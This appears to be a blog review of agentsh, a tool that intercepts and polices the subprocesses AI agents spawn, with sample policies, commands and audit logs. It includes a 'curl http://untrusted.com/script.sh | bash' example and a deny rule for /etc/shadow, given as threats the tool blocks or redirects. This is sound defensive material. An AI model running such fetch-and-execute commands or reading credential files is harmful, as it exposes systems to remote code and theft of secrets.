Back to Articles

agentsh: Policy Enforcement for AI Agents That Actually Covers Their Subprocess Crimes

[ View on GitHub ]

agentsh: Policy Enforcement for AI Agents That Actually Covers Their Subprocess Crimes

Hook

When your AI agent runs pip install, it spawns subprocesses that make network calls, write to disk, and execute post-install scripts. Traditional approval systems only see the top-level command. Everything else? Invisible.

Context

The explosion of agentic AI has created a peculiar security challenge: we're deliberately giving LLMs the ability to execute arbitrary code on our systems. Frameworks like AutoGPT, BabyAGI, and LangChain agents can write Python scripts, run shell commands, install packages, and orchestrate complex workflows—all in pursuit of user-defined goals. The optimistic approach is "just let them run in Docker." The paranoid approach is "never give agents shell access." Neither scales.

The real problem is visibility and control at the execution layer. Containerization provides isolation but no fine-grained policy. Manual approval gates work for top-level commands but go blind when those commands spawn subprocesses. You approve npm install package-name, but you don't see the postinstall script that curls a remote executable. You allow a Python script, but the script forks bash, which clones a git repo, which triggers hooks. Traditional security tooling—AppArmor, SELinux, even syscall filters—wasn't designed for the session-oriented, context-aware enforcement that AI agents demand. agentsh fills this gap by treating agent execution as a first-class security domain, complete with audit trails, policy redirection, and subprocess tree tracking.

Technical Insight

agentsh is fundamentally an interception layer that sits between AI agent tool calls and actual system execution. On Linux, it uses FUSE (Filesystem in Userspace) combined with seccomp-BPF to intercept file operations, network calls, process spawning, and signal handling. On macOS, it leverages ESF (Endpoint Security Framework) with Network Extensions. This isn't a wrapper script—it's a kernel-level enforcement boundary.

The architecture has three cooperating components. First, the interception layer captures operations before they reach the kernel. Second, a Go policy engine evaluates each operation against YAML-defined rules using first-match-wins semantics. Third, an API server manages execution sessions, tracks subprocess trees, and emits structured audit events. The server spawns automatically when you run a command through agentsh and persists across the session, maintaining state about which processes belong to which agent workflow.

Here's what a policy file looks like:

version: 1
policies:
  - name: redirect-malicious-packages
    action: redirect
    match:
      command: "pip install malicious-pkg"
    redirect:
      command: "echo 'Blocked: malicious-pkg is not approved'"
  
  - name: allow-approved-network
    action: allow
    match:
      network:
        domain: "*.github.com"
        port: 443
  
  - name: deny-sensitive-paths
    action: deny
    match:
      file:
        path: "/etc/shadow"
        operation: [read, write]
  
  - name: audit-all-subprocess
    action: allow
    match:
      process: "*"
    audit: true

The redirect capability is the architectural standout. Instead of just allow/deny, policies can transparently swap commands or file paths. An agent trying to curl http://untrusted.com/script.sh | bash can be redirected to curl https://approved-mirror.internal/script.sh | bash without the agent knowing the swap occurred. This "policy steering" lets you guide agent behavior toward approved workflows without breaking their execution loop—critical for agents that monitor their own output and adapt based on success/failure.

Subprocess tree tracking is where agentsh diverges from traditional approval systems. When you run a command through agentsh, it doesn't just enforce policy on that single process—it tracks every child, grandchild, and descendant process, applying the same policy context to the entire execution tree. Here's how that works:

# Start an agent session with policy enforcement
agentsh --policy agent-policy.yaml --mode audit run -- python agent.py

# The agent runs this command:
# agent.py executes: subprocess.run(["npm", "install", "express"])

# agentsh sees and enforces policy on:
# 1. The initial python agent.py process
# 2. The npm install express subprocess
# 3. The node subprocess that npm spawns to run package scripts
# 4. Any postinstall scripts that the package defines
# 5. Network calls those scripts make to download binaries

Without subprocess tracking, only the npm install command would be visible to policy enforcement. The node process, postinstall hooks, and network operations would execute in the blind spot. agentsh extends the policy boundary to the full subprocess tree by intercepting fork(), exec(), and clone() system calls and propagating the session context.

The system can operate in three modes: enforce (block violating operations), audit (log everything but allow it), and interactive (prompt for approval on policy violations). For AI agents, audit mode during development is invaluable—you can replay the structured JSON event stream to understand exactly what your agent attempted:

{
  "timestamp": "2024-01-15T10:23:45Z",
  "session_id": "sess_a1b2c3d4",
  "event_type": "network",
  "operation": "connect",
  "details": {
    "domain": "pypi.org",
    "port": 443,
    "protocol": "tcp"
  },
  "policy_decision": "allow",
  "rule_matched": "allow-approved-network",
  "parent_pid": 1234,
  "process_tree_depth": 3
}

The platform-specific implementation details matter. On Linux, agentsh achieves 100% enforcement coverage because seccomp-BPF and FUSE provide complete syscall interception. On macOS, the ESF+NE path reaches 90% coverage but has rough edges around signal handling and certain file descriptor operations—it's explicitly alpha quality. Windows WSL2 achieves 100% by leveraging the Linux kernel, but native Windows support is blocked on driver signing for the minifilter component. This transparency about enforcement gaps is refreshing; many security tools oversell their capabilities.

Integration with existing agent frameworks happens through shell shimming. Instead of requiring agents to explicitly call agentsh, you can shim /bin/sh and /bin/bash so any shell invocation automatically routes through policy enforcement. This works seamlessly in containerized environments:

FROM python:3.11
RUN curl -L https://github.com/canyonroad/agentsh/releases/download/v0.2.0/agentsh-linux-amd64 -o /usr/local/bin/agentsh
RUN chmod +x /usr/local/bin/agentsh
RUN mv /bin/sh /bin/sh.real && ln -s /usr/local/bin/agentsh /bin/sh
COPY agent-policy.yaml /etc/agentsh/policy.yaml
ENV AGENTSH_POLICY=/etc/agentsh/policy.yaml
ENV AGENTSH_MODE=enforce

Now every shell command your containerized agent runs—even those buried three subprocesses deep—flows through policy enforcement.

Gotcha

The first-match-wins policy evaluation is both a feature and a footgun. Rules are evaluated in order, and the first matching rule determines the action. If you have overlapping rules, order matters significantly. A broad allow rule at the top of your policy file will shadow more specific deny rules below it. This is intuitive if you're familiar with firewall rule semantics, but it can surprise developers coming from declarative config systems where order doesn't matter. You'll need to structure policies from specific to general, placing narrow denials before broad allows.

macOS support is explicitly alpha quality with breaking changes expected. The ESF+NE implementation has rough edges around edge cases—certain file descriptor operations, signal handling nuances, and race conditions in subprocess tracking. The project documentation is transparent about this: production use on macOS is not recommended yet. If you're building agent infrastructure on macOS for development but deploying on Linux, you'll have different enforcement behaviors between environments, which complicates testing. For now, Linux or WSL2 are the only production-ready targets.

Windows native support exists but is gated on driver signing. The minifilter driver component works in test environments with signing checks disabled, but production Windows deployments require a signed driver, which is blocked on Microsoft's driver signing process. Until that completes, Windows users are limited to WSL2, which is actually a solid option given WSL2's full Linux kernel, but it does mean native Windows agent frameworks can't benefit from agentsh enforcement yet.

Verdict

Use agentsh if you're running AI agents that execute arbitrary code and you need runtime visibility into what they're actually doing—especially if those agents spawn subprocesses like build systems, package managers, or scripts. The subprocess tree tracking and redirect capabilities are genuinely novel; you can guide agents toward approved behavior without breaking their execution flow, which is critical for agents that self-monitor. It's particularly valuable in CI/CD pipelines where agents orchestrate complex workflows with many child processes, or in development environments where you want comprehensive audit logs to understand agent behavior patterns. Use it on Linux in production, or WSL2 on Windows. Skip agentsh if you're on macOS and need production stability today—wait for ESF+NE to mature beyond alpha. Skip it if your agents only make API calls without local execution; the overhead isn't justified. Skip it if traditional containerization with readonly filesystems and no network access already solves your security model—agentsh shines when you need selective enforcement, not total lockdown. Also skip if you're not ready to invest time in policy authoring; effective policies require understanding your agent's execution patterns, which means running in audit mode first and analyzing the event stream.

// ADD TO YOUR README
[![Featured on Starlog](https://starlog.is/api/badge/ai-agents/canyonroad-agentsh.svg)](https://starlog.is/api/badge-click/ai-agents/canyonroad-agentsh)